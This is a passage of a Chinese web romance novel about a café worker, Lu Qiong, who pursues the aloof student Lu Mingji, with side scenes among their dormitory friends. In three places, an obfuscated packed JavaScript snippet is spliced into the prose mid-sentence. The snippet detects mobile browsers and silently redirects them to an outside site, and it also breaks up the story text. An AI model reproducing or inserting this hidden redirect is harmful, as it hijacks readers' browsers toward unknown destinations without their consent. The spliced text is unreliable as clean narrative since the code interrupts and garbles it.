这样的男生,即便性格恶劣,光是靠那副皮囊照样能吸引大批女生趋之若鹜。 他难追是客观事实。 她喜欢他是她的主观意识。 “路琼!”吧台那边有人喊她:“12号桌!” “好。”路琼一手拿着托盘,一手在围裙上擦擦,朝吧台那边走。 那声“路琼”不大不小,钻进陆明霁耳中,他不受控制分神。 路琼在吧台前,端起新制作好的咖啡放进托盘,右手食指贴着一枚创口贴。 陆明霁眉心一拧。 不是装的? …… 傍晚六点半,天色渐暗,华灯初上。 送走PHP负责人,整个下午都在装老实人的彭靖驰复活,PHP人来后他就挪到另一张空桌坐,伸个懒腰,踱回陆明霁那儿:“能走了吧陆总,我手机都充两次电了。” 陆明霁最后浏览一遍策划书,保存,合上电脑:“走。” 彭靖驰勾着陆明霁肩膀:“你叫没叫谷蕴柠?” “没。”陆明霁不喜欢被压,扒拉掉彭靖驰越界的胳膊:“你不会自己叫?” “把我拉黑了。”彭靖驰摊手:“全方位拉黑,网易云都发不出去消息。” 陆明霁不同情,落井下石:“该。” 彭靖驰惆怅一叹:“你说她这丫头脾气怎么这么大,一点不顺心都翻天。” 预判出彭靖驰会发出什么恶心言论,陆明霁不给他搭台阶,没爱理他,让他把话掉到地上。 彭靖驰无所谓,开启自说自话模式:“也就是我惯的。” 挺骄傲一笑。 陆明霁无几把语:“你有意思吗?” 彭靖驰是他们所有人里最大的,特能担事一哥哥,小时候他们有谁犯错,总是彭靖驰出来顶罪护着他们。 彭靖驰“哥哥”这身份仅限于他们这群男生,在谷蕴柠面前,他就是个欠逼,动不动就惹谷蕴柠生气,完再巴巴去哄,被谷蕴柠敲竹杠。 从小到大,彭靖驰给谷蕴柠花的钱得占他所有累计支出的百分之八十。 “弟啊。”彭靖驰慈爱地揉两把陆明霁后脑勺:“等你遇到你想吸引她注意的女生时,就懂了。” “你手要是欠就剁了”陆明霁还讨厌别人摸他脑袋,浑身从上到下,从里到外一堆臭毛病。 彭靖驰握着车钥匙虚点他:“早晚有人治你。” “下辈子吧。” 这辈子能管他的人还没出生。 陆明霁拎上电脑包,起身。 彭靖驰追上去:“叫谷蕴柠啊!” 经过吧台,陆明霁一侧目,全是生面孔,那个人没在。 他把手机扔给彭靖驰:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14384113|153235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己打。” 推门出去。 …… 晚上十点,July打烊。 设备都检查无误,拉下电闸,热闹一天的店铺归于寂静。 任念锁好门,跟路琼挥手:“走啦,你到宿舍在群里报平安。” 路琼说好:“拜拜。” 任念追上任城,一巴掌呼在他后背,骂他怎么不知道等她,任城抖擞着肩膀喊疼,辩驳谁让她走得慢。 路琼与他们反方向,背着双肩包,手揣在口袋里,不疾不徐往学校走,享受着接下来只属于她一个人的时间。 临近门禁,这个点街上都是赶着回校的学生,亲昵依偎的情侣、相伴玩笑的好友,以及路琼这种独行侠。 大学城的夜晚热闹非凡,暖黄色的灯光点缀在街道两侧,照亮花样繁多的小吃摊位。 路琼还没吃晚饭,经过一辆制作大阪烧的推车,被香味吸引,打算买一份,在她之前的一位女生拎着新鲜出炉的大阪烧离开,老板歉疚告知她今日材料都已清空,刚刚那是最后一份。 大阪烧位于街尾,路琼懒得再折返挑选,校门口一家便利店的玻璃门上挂着打折优惠的提示牌,三明治买一送一。 路琼进去,再出来时手里多两个三明治。 今天气温适中,晚上温度也没怎么降,路琼不想太早回宿舍,相比群居生活,她更喜欢独自一人,只有独处时她才会心无旁骛地放松大脑。 在便利店外的长椅坐下,拆开一个三明治细嚼慢咽着吃。 留一个当作第二天早饭。 口袋里手机震动,拿出来一看,备注是小老太太。 这是她来京北后,小老太太第一次主动联系她。 恍然想起今天好像是什么日子,她接通:“喂?” 听筒里是小老太太苍老的声音:“下课了?” “下午没课,去打工了。”路琼咽下最后一口三明治:“刚下班。” “什么工作这么晚下班?”小老太太有些急眼,嗓子干涩沙哑,像斑驳生锈的破锣:“你别给我去什么不三不四的地方,那种钱赚再多也是脏!” 路琼完全理解小老太太的应激反应,她妈就是这样被毁掉一生,于是耐心解释:“我在咖啡厅打工,京北和咱们那种小地方不一样,好多正经大公司都凌晨才下班。” “随便你吧,反正你现在翅膀硬得很,我是管不着你。”小老太太暂时选择相信她,揭过不再提:“明天记得吃个鸡蛋再吃碗面。” 小老太太打电话来就这事,说完就挂,不多浪费一秒钟。 忙音嘟嘟两声,通话界面自动退出。 路琼按灭手机,望着黑漆漆屏幕里反射出的自己发会儿呆,拆开原本决定当作第二天早饭的那个水果三明治。 草莓酸凉,奶油清甜,都说吃甜品心情会变好,这一天的疲惫确实在一口又一口的草莓奶油中消散。 唐慕芮羡慕她精力旺盛,闹铃一响就起床,上课不迟到不早退,还能兼职打工,一天使不完的牛劲。 路琼也羡慕唐慕芮的天真纯粹,象牙塔里的小公主永远体会不到底层人物的艰辛与困苦。 如果可以,谁会愿意做一个匆忙生活的人? 奶油容易挤压出来,吃到最后难免沾到嘴角,背包夹层里没能摸到纸巾,路琼将一侧碎发别到耳后,撑开包口,埋头要好好翻找—— 一包纸巾出现在眼前。 细白的两根手指捏住纸巾一角。 路琼顺势上看。 是意料之外的陆明霁。 14.第 14 章 手指捏着一包纸巾,悬在半空。 被路琼一眨不眨得看着,陆明霁心里暗骂自己有毛病。 可能是她表现的太过可怜,便利店外那么多空桌,她避开其他有光亮的地方,选择坐在角落,没玩手机,发呆吃着一个三明治。 就像,一只无家可归的流浪猫。 再想起下午在她手指见到的创口贴,陆明霁行为就不太受大脑控制,清醒过来时,他已然站在路琼面前。 不知道具体过去多久,她还是一动不动,就那么盯着他,陆明霁蓦地升起一股恼怒。 她什么意思? 不想要? 陆明霁不再管她,纸巾扔到桌上,扭头就要走。 垂在身侧微蜷的手被什么一碰,温热掌心不由分说塞进来一块冰坨似的东西,然后攥住他。 路琼的挽留紧随其后:“诶你别走呀。” 陆明霁甩胳膊:“放手。” “不。”路琼把另一只手也用上,各攥着他两根手指:“你聚会才结束?” 她挺有心机。 陆明霁这么评价她,她裹着创口贴的手一露出,他就被唤起愧疚:“你怎么知道?” “你和那个白衬衣帅哥走的时候我听见你们说要一起去吃饭。”路琼手凉,汲取着他手心的温度,十指连心,能暖到心坎:“谷蕴柠没跟你一起回来?” 陆明霁可不是她的暖手宝,再次抽手,边淡声说:“你别想了,他有喜欢的人。” 路琼一时不察,差点就让他溜走,反应迅速地收紧,捏住他指尖,仰起脑袋不满意地指责他:“你老老实实给我牵一会儿怎么了,我又没很过分。” 还怎么了。 第一次见到耍流氓这么理直气壮的。 他就不该动恻隐之心过来给她送纸巾,脏死她拉倒。 “路琼。”陆明霁第一次叫她名字:“羞耻两个字你知道怎么写吗。” “会啊。”路琼反问:“你不会吗,那我教你。” “……” 陆明霁不想再跟她交流,闭嘴不语。 路琼最喜欢看他吃瘪,后知后觉他上一句话有歧义,澄清:“我没想怎么样,我不喜欢他。” 她重新钻进他掌心,指尖轻挠他:“我只喜欢你。” 无法形容的痒直冲心底,陆明霁抑制住想要回握她的条件反射,神色更冷:“我不喜欢你。” “那我追你,行不行?”路琼谨慎地松开一只手,另一只手加大力度防止他挣脱,竖起三根手指:“三个月,这学期结束要是你还对我一点感觉都没有,我保证不再骚扰你。” 陆明霁嗤声:“你还知道是骚扰。” 路琼晃着他手臂,小拇指不安分地刮蹭着他内腕:“行不行?” “随便你。” 这是她的自由,陆明霁管不着,他就是不同意她也不会听,他懒得废话,三个月后她会知难而退。 说她是猫果真没错,总是喜欢抓人,陆明霁被她挠得鸡皮疙瘩都起来,皱眉:“松手。” 目的达成,路琼没再纠缠不放,把人逼太紧会适得其反,张弛有度才是长远之计。 她哦一声,松开陆明霁的手,拆开桌上拿包纸巾,终于要擦掉她嘴边的奶油。 陆明霁掌心一空,晚风在他指间缝隙穿梭而过,他手指一弯。 没义务等路琼,他抬腿就走。 眼前人影一闪,路琼忙将那包只用一张的纸巾装进包里,三明治包装扔进垃圾桶,追上陆明霁。 没有再与他有肢体接触,保持着一拳距离,走在他身侧:“你明天有事吗?” “满课。”省得她还要问是什么事。 路琼好心提醒:“明天周六。” “……”陆明霁脚步加快。 路琼忍着笑,给他搭台阶:“明天白天我要上班,晚上的时间给我,请你吃饭?” 迟来的台阶就是豆腐渣工程,陆明霁不下:“没空。” 路琼硬推着他下:“那我明天下班后给你发消息。” “说了没空。” “挤一挤总会有的。” 俩人就这么一个拽着张全世界都欠他钱的臭脸,一个带着得逞后愉悦的笑脸,并肩走进学校。 学生时代总会有一两个风云人物,任何环境里,优秀的人总是不缺他人瞩目。 有人认出陆明霁,见他旁边有个女生,和同伴窃窃私语地八卦着。 他们的小声讨论路琼和陆明霁自然是听不见,又不是顺风耳,只是没走几步,迎面碰上陆明霁的一位同学,俩人打个招呼,随后对方的视线就落向路琼,嘴比脑子快,厌恶话脱口而出:“前两天还不是这个呢,这么快就换人了,速度可以啊哥们儿。” 同学是个超典型花花公子,今天勾搭艺术院的明天怀里就能搂着法学院的,他自认不是个好东西,理所当然觉得自己的同类也好不到哪去。 陆明霁这人性子跋扈,脾气不好但也不是谁的气都生,他骨子里是天生的不可一世,有极强的等级划分,交际圈里的那些人在他心里都排有不同地位。 彭靖驰那种从小穿一条裤子长大的发小他都恶言相向,更遑论花花公子这类连他朋友圈都不配踏入的外人。 “我不是你。”陆明霁骂人从不拐弯抹角:“没有当种马的爱好。” 花花公子面色一僵,敢怒不敢言,陆家是他家最大的客户,得罪不起,而且也是他讨嫌在先:“得,是我嘴碎,对不住了。“ 陆明霁没接这句道歉,径自绕过他,路琼和他一起,走出两步回头瞅一眼花花公子,只有一个背影,对方侧过脸狠狠呸一声,不用猜,肯定是在骂陆明霁,他那张嘴杀伤力高到离谱。 花花公子遗留下来的问题路琼比较在意:“前两天的那个是哪个?” 陆明霁本来不想说,路琼又不是他的什么人,凭什么告诉她,但架不住路琼誓不罢休的劲儿。 她一个迈步,转到他前方,跟他面对面倒着走,食指揪着他T恤下摆一角:“说说啊,我要知道我竞争对手是谁。” 陆明霁抽回T恤,扒拉掉她手:“谷蕴柠。” 路琼点点头,谷蕴柠这个小呆瓜不足为惧。 脑海里闪过当初谷蕴柠翘着尾巴炫耀的“青梅竹马”一词,路琼再问:“你们两个家里关系是不是很好?” 陆明霁一嗯。 路琼有些担忧:“那你和谷蕴柠有娃娃亲吗?” “……”陆明霁哽两秒钟:“你穿越来的?” 娃娃亲。 土不土。 路琼确认:“那就是没有?” “没有。”倒不是陆明霁想解释,事关他清白,得维护一下:“什么都没有。” 路琼就笑,原地站定,陆明霁跟她成一条直线,她停下脚他也被迫停下。 陆明霁问她又怎么了。 路琼摊开手:“能再给我牵一下吗?” …… 路琼的请求毫不意外被驳回,陆明霁睨一下她掌心,绕过她擦着她肩膀,走得毫不留恋。 回宿舍的途中,路琼很是惋惜,早就知道跟他来软的不行,她就该直接霸王硬上弓。 在宿舍楼门口好巧不巧碰到谷蕴柠,小呆瓜好像是遇到烦心事,穿着一件卡其色风衣,踩着细高跟鞋,守着垃圾桶在抽烟,漂亮脸蛋上愁云密布。 605四个人,谷蕴柠和唐慕芮一等一单纯,情绪心机都摆在脸上,要是想做个坏事,不等别人揭穿,自己就先出卖自己。 路琼走过去:“怎么不回去?” 她们宿舍没有不能在屋里抽烟的规矩,不过谷蕴柠和麦青都很自觉,抽烟一定去阳台,不把二手烟带给她们。 谷蕴柠故作高深地摇头:“没怎么。” 谷蕴柠什么德性路琼摸得一清二楚:“那我先回了。” “诶——”谷蕴柠掐灭烟:“你等等我是会死吗?” 高跟鞋哒哒两下迈上台阶,路琼肩膀一沉,是谷蕴柠幼稚地拽着她背包往下压。 其实某些方面,陆明霁和谷蕴柠挺像的,一个个都很高傲自负,心里却住着一只幼稚鬼。 路琼随她做怪,进入宿舍楼,谷蕴柠拉着路琼推开楼梯间的防火门,冠冕堂皇地说要锻炼一下身体,路琼瞅瞅她的恨天高,不是她不想相信谷蕴柠的鬼话,是实际情况不允许。 谷蕴柠诶呀一声,挽着路琼胳膊上楼:“你别小看我,我十岁起就开始穿高跟鞋了,别说爬楼梯,登山我都不在话下。” 路琼心口不一地回答:“好的。” 她猜测谷蕴柠是有什么话要讲,谷蕴柠憋不住心事,宿舍里唐慕芮她俩就是两个大漏斗,应该是还在捋思路,所以上到二楼时还沉默着,路琼也有事情要跟她沟通,酝酿片刻还是选择直白的方式:“我要追陆明霁。” 谷蕴柠垂着眼沉浸在自己的思绪里,没转过弯来:“啊?” “我要追陆明霁。”路琼重复:“认真的。” 谷蕴柠兴致不高:“哦。” “?” 这下路琼是真有些不懂谷蕴柠,以往碰到陆明霁的事情,谷蕴柠从未如此冷静过。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14420181|153235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不骂我?” “你有病吧,上赶着找骂。”谷蕴柠也不懂路琼,她是什么抖M体质吗? 路琼讲事实摆道理:“上次我说我喜欢陆明霁,你像个炮仗一样。” “陆明霁不会答应你的。”谷蕴柠耸肩:“他连我都不放在眼里,何况你。” 男人都是视觉动物,谷蕴柠自信她的美貌万里挑一,他还是一副铁石心肠,他们两个快二十年的情谊作为基础都没能动摇他,路琼才认识他多久,更不会成功。 况且,今晚发生的事情让她自顾不暇。 谷蕴柠现在没有多余精力去在乎陆明霁。 又上一层楼,防火门上的数字标识是四。 终于,大小姐措好辞。 “我有一个朋友。”一个极其老旧的开头:“她有一个从小一起长大的邻居哥哥,她真的只把对方当哥哥,但是有一天那个哥哥竟然跟她表白了,你说该怎么办?” 路琼瞬间想到下午在July见到的那个将谷蕴柠挂在嘴边的男人,挑明:“陆明霁朋友跟你表白了?” “你怎么知道?”谷蕴柠惊恐万分地瞪大双眼,意识到穿帮,匆忙掩饰:“不是我!是我朋友!我朋友!” 最后破罐子破摔:“好吧就是我,他也是陆明霁发小。” 谷蕴柠揪着头发:“我真的只把他当哥哥,他怎么能对有非分之想!” 只是想想就算了。 彭靖驰还亲她,亲的嘴巴! 还是强吻,他装什么霸道总裁人设。 那可是她初吻! 谷蕴柠越想越气,脸就越红。 路琼很是稀奇:“你害羞什么?” 谷蕴柠气绝:“是愤怒!” “他跟你表白,你很生气吗?” “当然!” “为什么?” “因为我又不喜欢他,只把他当哥哥啊!” “那拒绝就好了,像处理其他男生那样。” 谷蕴柠烦躁不已,在四楼五楼中间的楼梯转角停下,又点燃一支烟:“真要这么简单我就不会这么崩溃了,我出生就认识他了,两家关系也很好,低头不见抬头见。” 她弹弹烟灰,声音低下去:“而且,我不想失去他这个朋友,我们认识很久很久了,我不想伤他的心。” “你犹豫不决才是伤害他。” “我……” “认识多久不是重点,你们两家关系怎么样也不是重点。”路琼找到她的错误,帮她掰正思考方向:“重点是你喜不喜欢他。” “不喜欢啊!”谷蕴柠迅速否认:“我怎么会喜欢他,我喜欢的是陆明霁。” 路琼沉默地审视着她,看得谷蕴柠莫名心慌,她别过脸,路琼才说:“你的喜欢真的就是你认为的那种喜欢吗?” 那支烟燃到一半,烟灰摇摇欲坠,路琼掐住烟蒂拿走,按灭在垃圾桶:“我也不知道真正喜欢一个人是什么样子,但是一件事情持续的时间太久会模糊一些东西,比如你的喜欢和你的不喜欢。” 这句话太绕口,谷蕴柠默默消化半晌,又陷入另一个纠结怪圈。 太过混乱,谷蕴柠不愿再费脑子:“算了,走一步看一步吧。” 重新挽着路琼上楼,落落大方地建议她:“你要追陆明霁就追吧,别太认真,他没有心的。” “我现在甚至都有点怀疑他性取向。”谷蕴柠合理怀疑:“我主动献吻他躲得比兔子都快,我这么个打着灯笼都难找的大美女,他把我当瘟神一样!” “……” 路琼没料到谷蕴柠这么不见外,差点接不住话:“那你亲到了吗?” “没有,说了他躲了。”谷蕴柠翻白眼:“没眼光的男人,他就该一辈子单身!” “我们应该算是情敌?”路琼见识少,第一次遇到情敌间这样另类的相处模式。 谷蕴柠话里有话:“所以你失败的话可以来找我哭。” 路琼挑眉。 “我好笑话你啊。”谷蕴柠振振有词,自有一套歪理邪说:“彭靖驰还是陆明霁发小呢,我们的三角恋不在乎多你一个,反正人与人之间的关系本来就很复杂。” “有道理。”路琼发自内心的赞同:“一定找你来哭。” “我等着。”谷蕴柠又叹口气,还是劝告:“但你真要做好失败的准备,陆明霁就是块捂不热的冰坨子。” 路琼不置可否。 冰坨子也没关系,她单纯想给自己平淡乏味的生活增添点乐趣而已。 喜不喜欢,爱不爱的—— 不太重要。 第15章 第二天周六。 周末两天路琼按照朝九晚六的作息上班。 路琼是在完全清醒状态下跟陆明舜说要迫他,她没谈过恋爱,偶像剧也没看过,经验毫无,昨晚回宿舍后临时抱佛脚在网上搜索女追男的办法,看到半夜,总结下来就是:死皮赖脸地刷存在感。于是路琼早上醒来按部就班听完十五分钟英文演讲练习听力后,出门时给陆明霁发去一个早安问候。July每天上午九点准时营业,她八点零五分到达。 手机安静如旧,没有收到陆明霁的回复,路琼就不再把心思放在他那里。开门、擦拭台面、备餐,做好一切准备工作,迎接一整日的忙碌。 uy的装修设计在京北同类型店铺里独具一格,会根据季节、节日来变换店内风格,咖叶甜品的定价也都在学生党消费范围内,情侣约会朋友小聚都首选uly,还有许多游客慕名前来打卡拍照。周末客流量大,不接外卖单都忙得不可开交,中午任念他们交替着在后院仓促吃个午饭,路琼才得空察看微信。和陆明霁的聊天界面没有任何变化,她七点四十分发送那一个“早”字垫底,再往上是军训期间她加他好友自我介绍的内容。寥寥几句,一个屏幕的空间都多余。 路琼不会浪费时间猜来猜去陆明霁是什么心思,她是行动派,一个语音电话拨过去。嘟嘟的忙音在耳边循环,快要挂断时被人勉强接起。 陆明霁问:“有事?”他声音很好听,似冬日清泉里碎冰碰撞时泠泠作响。 正午阳光灿烂,路琼站在后院晒着太阳:“你没看到我给你发的消息吗?” “看到了。” “那你怎么不回?” “不想回。” "为什么不想?" 她哪来那么多问题。陆明霁一心二用,边跟她通话边一目十行浏览着刚敲好的代码:“就是不想。” 路琼仰起脑袋,抬手,五指张开,阳光穿过指缝分成几束落在她脸上:"可我想你。" 陆明霁悬在回车键上的手指向下一落,即将触碰到键帽时又猛地缩回,还没检查完,差一点就点击确认。 动作幅度大,牵连他的心跳都加快几拍。 路琼没指望他回应,说起晚上的约会:"你喜欢吃清淡的还是偏重口?" 陆明霁端起水杯喝口水,咽下后说:“我没答应你。” “真的一点时间都不能分给我吗?”路琼收拢手指,异想天开地试图抓住虚无缥缈的阳光:“我就是想跟你一起吃个晚饭。” 水杯搁回桌面,杯子里的水液轻微晃动,陆明霁看回电脑,嗓音无波无澜:“你找别人陪你吧,我没空。” “好吧。”路琼放下手,暖阳烘烤得人昏昏欲睡,她憋回到嘴边的哈欠,声音有些变调:“那不打扰你了,你忙。”她主动切断电话。 "叮"一下提示音。 通话界面自动退出,切回聊天界面。 她结尾那句话的第一个字音不正常,像在压抑什么,一串串代码慢慢变得模糊,陆明霁敛眸睇着她头像。 是一只只露出一双眼睛的黑猫。 还挺像她的。 下午仍然不得清闲。 路琼手机揣在围裙口袋里,口袋浅,她弯腰捡东西时滑出来掉在地上,后来就放进操作台抽屉里,也没人找她,不需要随身带着。 任城送完一桌咖啡回来,听见嗡喻震动声,竖着耳朵找半天,最终拉开抽屉,拿出手机,在操作台转一圈,没一个人认领手机,来电显示只是十一位数字。 怕误事,任城接通:“喂你好。” 另一端稍作停顿:"我找路琼。" “这路琼的手机啊。”任城自言自语嘟囔一句,可算确定手机主人是谁:“她现在不在,等——” 话说一半,任城看到路琼,扬声喊她,再示意电话那端:“她来了,你等等。” 路琼走近,任城把手机还给她:“一直在响,你也没备注,我怕有什么事,过后你再以为是骚扰电话不管了,就接了。” “知道了。”路琼跟他道谢,先瞅一眼手机屏幕,这串号码脑子里没印象:“你好。” “是我。” 路琼诧异:“陆明霁?” “不然呢。”陆明霁耳边回荡起她昨天发表的“几天不见差点不认识他”的气死人言论,怼她:“一下午没说话也不认识我声音了?” "我这不是意外你会主动打给我吗。”还在上班,店里挺忙,路琼不能多聊:“怎么了?"“你没看我给你发的消息?”陆明霁两个小时前给她发过微信,没回信,才打来电话。“店里人多,还没空看手机。”路琼往后院走,打开免提:“你发什么了?” 点到微信,软件切换需要 两秒钟加载,陆明霁不吱声,通话空档,路琼以为是信号不好,正要再问一遍,消息更新出来,与此同时扬声器传出同样的内容。 陆明霁说:“去哪吃饭?” 无语,又有点不想妥协的小别扭。 “我对京北还不太熟,你挑你喜欢吃的,我都可以。”路琼想逗他两句,奈何她不能离开太久,只好忍住等到见面再闹他:“我六点下班,你选好发我地址。” “知道了。” 陆明霁说完就挂断。 进入秋天,天黑得一天比一天早,此时太阳西斜,远处高楼堪堪遮挡住四分之一,落日前的阳光柔和又绚美。路琼再一次抬手去捉。 意料之内什么都没有捉住。 但她掌心并不空落。 八点半,夜幕降临,华灯璀璨。 京北开始展现它的繁华。 陆明霁靠坐在沙发里,右侧落地窗外是大半个京北城的霓虹夜景。 他无心欣赏,第三次去瞄手机右上角的时间点,包厢门被敲响,领班推门进来,第二次问他需不需要上菜。距离陆明霁过来,进包厢,已经过去整整两个小时。 他等路琼也等了整整两个小时,这两个小时里他搞定了小组作业的收尾工作,中午路琼打他电话时他就在忙这件事,还修改完PHP预备新开发的游戏初步框架模型。 原是不想来吃这顿饭,可他手一放到键盘上耳边就响起路琼那带着微弱哭腔的声音,鬼使神差地反悔,答应她的邀约,将吃饭眈误的时间熬夜补回来,不过现在看来他今晚可以早睡。这家餐厅这间包厢风水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781381|153235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不错,极大提升赶作业的效率。当然,有很大一部分功劳归功于陆明霁在愤怒状态下大脑愈发清醒。手机电量还有一丝丝,他揣进兜里,冷着脸起身:“不用上了。” 领班见多这种被放鸽子的事情,见怪不怪,保持着微笑送人:“好的,陆先生您慢走。” 领班友好礼貌的笑容刺得陆明霁眼睛疼。 他就不该心软。 路琼就是个不守信用的骗子! 电梯到达一楼,门开,陆明霁出来,神情比在餐厅时更加难看。 他没开车,只能打车回学校,到街边招手,不一会儿一辆出租缓缓停下。身后一道女声喊他:“陆明霁!” 他充耳不闻,拉出租车后排车门。才握住车门把手,急促脚步声逼近,左胳膊一重,拽得他肩膀塌下去。 路琼喘得上气不接下气,死死攥着他手腕,弯着腰,话说得断断续续:“师、师傅……”一股冷风灌进喉咙,她呛得咳嗽,说不出话,挥手让司机师傅先走。 太久没这么拼命跑过,路琼适应不过来,嗓子眼像是被刀片划过,眼角都溢出生理性泪水。陆明霁被迫听着她没完没了的咳嗽,不是不想走,是她力气太大,抓得他腕骨都隐隐发疼。一个女生,怎么手劲这么大。 两三分钟,路琼平复好,站直,第一句话就是道歉:“对不起我迟到了。” 她再说原因:“地铁站有个小偷偷钱包被发现,跑的时候撞倒了我旁边的孕妇,我扶她起来后她一直抓着我的手不放,我只好跟着去了医院,她家人到医院我才离开。” 最后竖起三根手指保证:“我真不是故意的。” 陆明霁面部表情没有变化:"说完了?" 路琼点头:“说完了。” “松手,饭你自己吃。”陆明霁理智上理解她的不得已但情感上不接受,从小到大都没人让他等过这么久。 路琼攥得更紧,不给他一分一毫挣脱的可能:“你别生气,我保证不会有下次。” “的确没有下次。”陆明霁冷嗤:“现在我就把你拉黑。” “别!”路琼抢过他手机塞进自己挎包里:"事不过三,我不要三次,我只要一次机会还不行吗。" 陆明霁斩钉截铁:"不行。" 路琼不信他真的硬心肠,在挎包里抽出一支红玫瑰,放轻嗓音:“我买了花送你,你原谅我好不好?” 昏黄路灯下,她站在光束里,脸颊鼻尖是狂跑过后风刮出的红,咳出眼泪的眼睛漆黑透亮。陆明霁在这一秒刷新对路琼的认知。 她是漂亮的。具体是哪一种类型他暂时形容不出,但绝对不同于他身边的任何一位女性。 分手的第五年,陆明霁几乎不再想起路琼。 他自认已经放下她。 却又在某一天夜晚突然梦到路琼第一次送他玫瑰的情景。 醒来后他抽了一支烟。 路琼曾经问过他是什么时候开始喜欢她的,陆明霁没告诉她。 他在无数次的复盘中确认,在她掏出玫瑰的那一刻起,他心底产生一个强烈的念头——如果不会对路琼动心,那他这辈子也不会喜欢上别人。 第16章 十分钟后,冷着一张阎王脸的陆明霁被路琼拽进一家距离国贸两条街远的串串香店铺。 京北夜晚温度稍降,天气预报预计明天有雨,傍晚六点钟后偶尔刮起几阵威力或大或小的风。路琼拉开玻璃门,推着陆明霁进去,她紧随其后。 玻璃门合上,将外面所有呼啸隔绝。香浓醇厚的调料味道扑面而来,店中央一条长桌,煮锅里摆着串串,长桌两边几乎要坐满。 这家店唐慕芮带她们来吃过,物美价廉,味道不错。 有两个连着的座位,路琼侧头,陆明霁正沉默地打量店内环境,看到有人在煮锅里拿起一串蔬菜遂又放回去,少爷眼底逐渐有嫌弃之意产生。 路琼阅“陆”理解的能力在稳步提升,见状对迎过来的服务员指指窗边位置:“我们要单独的锅底。”熟练地握住陆明霁掌心,牵着他走去窗边。 到座位边上,少爷又开始审视起来,路琼和他并排站,上半身扭向他,歪头看他:“要我把座椅给你擦一遍吗?” 她边笑边眨眼,戏谑地不加掩饰,陆明霁不想被她嘲笑娇情,硬梆梆拒绝:"不用。" “那你坐。”路琼放开他。 覆在掌心带有粗糙颗粒感的温热消失,陆明霁后知后觉自己的手居然又落入她手中。 在心里告诫自己一定要提高警惕,不能再被路琼得逞。 他把双手揣进外套口袋里,坐到沙发里。 单独锅底需要自己去冰箱那里挑选涮菜,陆明霁是娇贵少爷,当然不可能端茶倒水伺候别人,拿菜的任务只属于路琼一人,她摘下包,询问陆明霁有无忌口。 陆明霁嘴挑得很:"不要绿叶菜,肉卷不要,切块的可以,不吃丸子,不——" 他一大堆要求还没提完,路琼果断竖掌打断他的长篇大论:“你和我一起去。” 陆明霁懒,不想动,如果换成彭靖驰,他只会坐着等吃,但是他和路琼还不熟,做不到心安理得指使她,起身坠在路琼身后,保持半步远跟她一起去选菜。 路琼端着一个托盘,从最上面那一排的第一个菜问起,陆明霁就揣着兜,碰到想吃的才会活动一下他高贵的脖子及脑袋,上下点一点或者左右摇一摇。 路琼不挑食,她小时候家里条件全村最差,吃饱饭都是奢侈,根本没有挑剔的权利。陆明霁不吃绿叶菜她爱吃,夹了几片油麦菜,寡言的少爷终于开口:“换掉。” 他精准指向被压在最下面的那一片油麦菜,针对性太强,路琼不懂:“怎么了?” 陆明霁说:“有虫洞。” 路琼以为陆明霁是觉得有虫子洞菜就不能再吃,少爷十指不沾阳春水,不知道这种生活常识无可厚非:“没事的,这种青菜有虫洞证明没有打过农药,而且你又不吃。” 虫洞与农药是否有必然联系这一点涉及到陆明霁的知识盲区,他暂且不予争辩,就用最简单的理由:“很丑,我不喜欢。” 得。 少爷就是少爷。 不仅挑食,还挑长相。 “拿都拿出来了,不好放回去。”路琼顺从他:“等回桌再丢。” 陆明霁默认这个安排。 摞满整个托盘,两人回桌,锅底在选菜时就端上来,双拼的鸳鸯锅,清汤锅已经微微沸腾起来。 坐下后,陆明霁拆开双一次性筷子,先把片视为眼中钉的油麦菜夹出来丢进垃圾桶。感受到路琼对自己的目不转睛,他把手机亮给她看:“菜叶有没有虫洞和打没打农药没有直接关系。” 是浏览器界面,搜索框里输入:青菜上有虫洞还能吃吗? 回答:不宜食用,虫眼只能说明蔬菜受过虫害,并不等于没打过农药…… 这个知识与路琼的固有认知有所出入:“我外婆种菜从来不打农药,我经常帮她挑虫子。” 路琼在家什么活都干,小老太太并不娇养她,她小的时候还会跟她讲怎么种庄稼,等她长大后继承家里那块地,保证她饿不死。虽然小老太太总是叨叨她是寄生虫,不养家还花钱,但她五六年级成绩越来越好,考上镇上最好的初中后,小老太太就没再教过她种地的相关知识。 她自觉比陆明霁有“文化”,结果没好到哪去。 "你一直都这么挑剔吗?”路琼仍然困惑于他龟毛浪费的行径:“怎么养成的?"她的生活环境造就出她与大城市人们的差异,可唐慕芮麦青她们也没娇气到陆明霁这种地步。 陆明霁抽出几张纸巾,擦着桌面,语气淡,话说得张狂:“因为我从出生起,得到的所有东西就都是最好的。” 